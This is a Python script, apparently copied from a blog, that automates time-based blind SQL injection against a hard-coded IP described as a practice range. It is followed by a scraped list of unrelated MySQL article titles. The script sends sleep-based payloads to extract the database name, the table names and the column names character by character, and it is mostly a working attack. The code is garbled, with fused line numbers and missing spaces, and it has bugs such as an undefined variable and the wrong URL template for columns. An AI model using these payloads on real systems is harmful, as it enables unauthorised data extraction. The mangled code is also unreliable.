1 importrequests2

3 #################################################################

4 #http://43.247.91.228:84/Less-1是靶场地址

5 #################################################################

6

7 url1 = "http://43.247.91.228:84/Less-1/?id=1' and if \8 (length(database())={_}, sleep(3), 0) --+"

9

10 url2 = "http://43.247.91.228:84/Less-1/?id=1' and if \11 (ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+"

12

13 url3 = "http://43.247.91.228:84/Less-1/?id=1' and if \14 ((select count(*) from information_schema.tables \15 where table_schema={_})={__}, sleep(3), 0) --+"

16

17 url4 = "http://43.247.91.228:84/Less-1/?id=1' and if \18 ((ascii(substr((select group_concat(table_name) from \19 information_schema.tables where table_schema={_}), \20 {__},1)))={___}, sleep(3), 0) --+"

21

22 url5 = "http://43.247.91.228:84/Less-1/?id=1' and if \23 (ascii(substr((select group_concat(COLUMN_NAME) from \24 information_schema.COLUMNS where table_name = {_}), \25 {__}, 1))={___}, sleep(3), 0) --+"

26

27 #################################################################

28 #函数功能:猜解数据库名的长度

29 #参数意义:n 长度范围

30 #返回结果:成功:数据库名长度

31 #失败:0

32 #################################################################

33 defgetLength(n):34 for i in range(1, n + 1):35 payload = url1.format( _ =i)36 print(payload)37 ans =requests.get(payload)38 #响应时间大于等于3秒说明猜解正确

39 if (ans.elapsed.seconds >= 3):40 return(i)41 break

42 else:43 continue

44 return(0)45

46

47

48 #################################################################

49 #函数功能:猜解数据库名

50 #参数意义:length 数据库名的长度

51 #返回结果:成功:数据库名字符串

52 #失败:空字符串

53 #################################################################

54 defgetName(length):55 database = "" #数据库名初始化为空字符串

56 for i in range(1, length + 1):57 for j in range(1, 128):58 payload = url2.format( _ = i, __ =j)59 print(payload)60 ans =requests.get(payload)61 #响应时间大于等于3秒说明猜解正确

62 if (ans.elapsed.seconds >= 3):63 database +=chr(j)64 break

65 else:66 continue

67 return(database)68

69

70 #################################################################

71 #函数功能:猜解数据库中表的数量

72 #参数意义:database 数据库名

73 #n 表的数量范围

74 #返回结果:成功:表的数量

75 #失败:0

76 #################################################################

77 defgetTablesNum(database, n):78 for i in range(1, n + 1):79 payload = url3.format( _ = "'"+ database + "'", __ =i)80 print(payload)81 ans =requests.get(payload)82 if (ans.elapsed.seconds >= 3):83 return(i)84 break

85 else:86 continue

87 return(0)88

89 #################################################################

90 #函数功能:猜解表名

91 #参数意义:database 数据库名

92 #nameLengthTotal 所有表名的字符数及

93 #逗号分隔符数之和(

94 #表名之间用逗号分隔)

95 #返回结果:所有表名的list数组

96 #################################################################

97 defgetTablesName(database, nameLengthTotal):98 tables =[]99 table = ""

100 for i in range(1, nameLengthTotal + 1):101 for j in range(1, 128):102 payload = url4.format( _ = "'"+ database + "'",103 __ = i, ___ =j)104 print(payload)105 ans =requests.get(payload)106 if (ans.elapsed.seconds >= 3):107 table +=chr(j)108 break

109 else:110 continue

111 tb = table.split(",")112 for t intb:113 tables.append(t)114 return(tables)115

116

117

118 #################################################################

119 #函数功能:猜解某个表的字段名

120 #参数意义:table 表名

121 #attributeLengthTotal 全部字段名的字符数及用于分

122 #割的逗号数之和(字段名之间

123 #用逗号分割)的范围

124 #返回结果:字段名字符串list数组

125 #################################################################

126 defgetTableAttributes(table, attributeLengthTotal):127 attributes =[]128 attribute = ""

129 for i in range(1, attributeLengthTotal + 1):130 for j in range(1, 128):131 payload = url4.format( _ = "'"+ table + "'",132 __ = i, ___ =j)133 print(payload)134 ans =requests.get(payload)135 if (ans.elapsed.seconds >= 3):136 attribute +=chr(j)137 break

138 else:139 continue

140 ab = attribute.split(",")141 for a inab:142 attributes.append(a)143 returnattributes144

145

146

147 #################################################################

148 #

149 #主函数

150 #

151 #################################################################

152 if __name__=="__main__":153 #猜解数据库名的长度

154 length = getLength(10)155 #猜解数据库名

156 database =getName(length)157 #猜解表的数量

158 tablesNum = getTablesNum(database, 10)159 #猜解表名

160 tables = getTablesName(database, tableNum*8)161 print ("数据库名的长度为:" +str(length))162 print ("数据库名为:" +database)163 print ("数据库中表的数量为:" +str(tablesNum))164 print ("数据库中的表如下:")165 for table intables:166 print(table)167 print ("各个表的字段名如下:")168 for table intables:169 print(table)170 #猜解各个表的字段名

171 attributes = getTableAttributes(table, 100)172 for attribute inattributes:173 print(attribute)

mysql路径猜解_猜解数据库(MYSQL)信息相关推荐

  1. jsp mysql书店源码_使用jsp数据库mysql实现网上购物书店课程设计

    [实例简介] 使用jsp数据库mysql实现网上购物书店课程设计 [实例截图] [核心代码] 213eb755-0d07-4324-a55e-76878ddbac95 └── Myshop ├── s ...

  2. mysql 临时文件写满_阿里云数据库MySQL临时文件导致实例空间满的解决办法

    MySQL实例可能会由于查询语句的排序.分组.关联表产生的临时表文件,或者大事务未提交前产生的binlog cache文件,导致实例空间满,为避免数据丢失,RDS会对实例进行自动锁定,磁盘锁定之后,将 ...

  3. qt4.7 mysql 6.3 版本_详解Qt 4.7编译和访问Mysql驱动

    Qt4.7编译和访问Mysql驱动是本文要介绍的内容,不多说,我们来看内容.今天摸索了一上午,终于用qt连上mysql了 1.安装一个mysql5.0以上版本*** 要求:(1)安装路径不要有空格和点 ...

  4. mysql mha配置文件详解_十四、MySQL MHA 高可用配置(一)

    MHA 高可用 1.准备三台机器 IP:10.0.0.51 主机名:db01 内存:2G IP:10.0.0.52 主机名:db02 内存:2G IP:10.0.0.53 主机名:db03 内存:2G ...

  5. mysql存储过程按区间_针对新手的MYSQL存储过程详解_CSDN_ChenF的博客-CSDN博客

    原文作者:橘左京i 原文标题:针对新手的MYSQL存储过程详解 发布时间:2021-02-22 10:03:18 一位爱好技术的橘右京的哥哥橘左京 前言:什么是存储过程?存储过程就像是一个接口,可以直 ...

  6. mysql 的dcl语句_详解MySQL第三篇—DCL语句

    DCL(Data Control Language)语句:数据控制语句,用于控制不同数据段直接的许可和访问级别的语句.这些语句定义了数据库.表.字段.用户的访问权限和安全级别.主要的语句关键字包括 g ...

  7. mysql分区表详解_详解MySQL分区表

    前言: 分区是一种表的设计模式,通俗地讲表分区是将一大表,根据条件分割成若干个小表.但是对于应用程序来讲,分区的表和没有分区的表是一样的.换句话来讲,分区对于应用是透明的,只是数据库对于数据的重新整理 ...

  8. mysql mgr 三节点_详解MySQL 5.7 MGR单主确定主节点方法

    我们行MGR年底要上线了,每天都要看官方文档学习,做测试,坚持每天写一个小知识点,有想一起学习的么~ MySQL 5.7 MGR单主确定主节点是哪个,我们可以通过成员ID来判断,然后结合read_on ...

  9. 操作 mysql 不生成日志_详解MySQL的日志

    MySQL日志 MySQL的日志记录了MySQL的日常操作和错误信息,通过这些日志我们可以知道MySQL内部发生的事情,可以为MySQL的优化和管理提供必要的信息. MySQL的日志主要有:二进制日志 ...

  10. mysql mysqldumpslow 如何配置_详解 慢查询 之 mysqldumpslow

    查询mysql的操作信息 show status -- 显示全部mysql操作信息 show status like "com_insert%"; -- 获得mysql的插入次数; ...

最新文章

  1. 刻意练习:LeetCode实战 -- 不同的二叉搜索树
  2. vue 定位所在地_vue系列教程之微商城项目|商品购买
  3. 在一个成熟的分布式系统中 如何下手做高可用?
  4. Dirichlet分布与多项分布的共轭性
  5. “工业互联网平台“将成为工业制造企业的标配
  6. 《统计学习方法》—— 朴素贝叶斯方法、详细推导及其python3实现(二)
  7. redhat 添加ssh端口_Centos以及Redhat修改ssh端口
  8. SAP MM 顾问在实施项目工作中的苦逼和优势
  9. AD(PCB)知识总结
  10. 我收集了12款自动生成器,无聊人士自娱自乐专用
  11. 桌面计算机图标无法附到任务栏,win7系统电脑快捷方式无法添加到任务栏的解决方法...
  12. 如何利用CSS制作星星图案
  13. 【有利可图网】PS教程:制造低多边形熊猫头像
  14. 微信小程序跳转公众号
  15. 用java计算小数的双阶乘
  16. 克里奥服务器装系统,克里奥神模拟器
  17. thinkpad linux win7,Thinkpad t440 Win7+ubuntu双系统
  18. Python实战技巧(9)Python发送邮件
  19. 给你推荐一个文件阅读器:Neat Reader
  20. redis系列之哨兵模式

热门文章

  1. matlab制作萨克斯音乐,Cmusic Productions SAXBAND Soprano Sax KONTAKT 萨克斯
  2. java 中的 什么意思啊_JAVA 中的 - 是什么意思?
  3. python定义一个1xn矩阵_Python实现的矩阵类实例
  4. java的robot一直按住某个键_SHIFT键在CAD中使用技巧
  5. BeyondCompared4提示“缺少评估信息或损坏” 一条命令解决
  6. 为别人着想的表达才是最好的表达
  7. 基于JAVA+SpringBoot+Vue+Mybatis+MYSQL的办公一体化系统
  8. 基于JAVA+SpringMVC+Mybatis+MYSQL的高校学生健康档案管理系统
  9. 计算机专业中最受热议的4个专业,2018考研后身价倍增的4个专业盘点
  10. 所有controller interceptor_阿里二面:filter、interceptor、aspect应如何选择?很多人中招...